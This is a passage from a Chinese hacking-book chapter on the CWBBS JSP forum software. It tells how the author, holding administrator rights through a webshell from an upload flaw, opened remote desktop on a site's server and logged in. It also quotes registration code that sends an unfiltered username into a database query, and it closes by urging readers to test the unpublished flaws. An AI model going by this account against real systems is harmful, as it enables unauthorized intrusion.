这个网站的服务器的安全性实在做的差劲,我们可以浏览任何盘符,权限直接就是管理员,我们上传一个开3389的工具上去,用命令执行完毕后。我们连接远程主机的3389,一下就登陆了进去,如图14-42所示。
图14-42 远程登陆主机


四、总结

上面就是我简单对CWBBS的分析过程,其安全性确实让人比较担心。上面我并没有提及注入漏洞,当然这并不代表不存在注入漏洞。而是注入漏洞隐藏的比较深,对于常见的参数,系统都已经进行转换了,如对参数ID则全部强制转换成了整型,代码为id = ParamUtil.getInt(request, "id");。所以当在参数id后添加一个单引号就会显示idid不是整数的信息,如图14-43所示。
图14-43 显示id不是整数
对于数字型注入一个getInt()函数就全部给杜绝了,不过还有字符型的注入,比如在论坛注册时,验证的那个用户名是否占有的程序,就没有用户输入的程序进行转换,如下所示:
String op = ParamUtil.get(request, "op");
/获得客户端输入的数据
if (op.equals("chkRegName")) { //验证用户名是否被占用
boolean re = false;
try{
String regName = ParamUtil.get(request, "RegName");
//获得我们输入的用户名
re = userservice.isRegNameExist(request, regName);
//执行查询,看是否已经被占用
}
catch(cn.js.fan.util.ErrMsgException e) {
out.print(e.getMessage()); //发生异常就输出异常信息
%>

 
可以看到,我们输入的用户名没有过滤就被用去执行查询了,所以出现了典型注入漏洞。不过因为数据库查询操作被JavaBean

给封装了,我们无法得到参数是如何处理的。所以要测试注入攻击比较难,也算是一个鸡肋级的漏洞。好在有一个上传漏洞让我们得到了webshell。
对于分析系统漏洞,不仅仅只是局限于系统代码漏洞上的研究。同时也要利用服务器的各种不安全的因素为自己的入侵创造出更多的有利条件。分析代码的时候思路一定要清晰,还要根据不同的环境为自己创造出更多有利条件。




说明:非常感谢剑心优秀的JSP注入的文章,同时我写的分析CWBBS的文章之前并未公开,所以在拿到书的时候还可以去测试一下。































相关文档 最新文档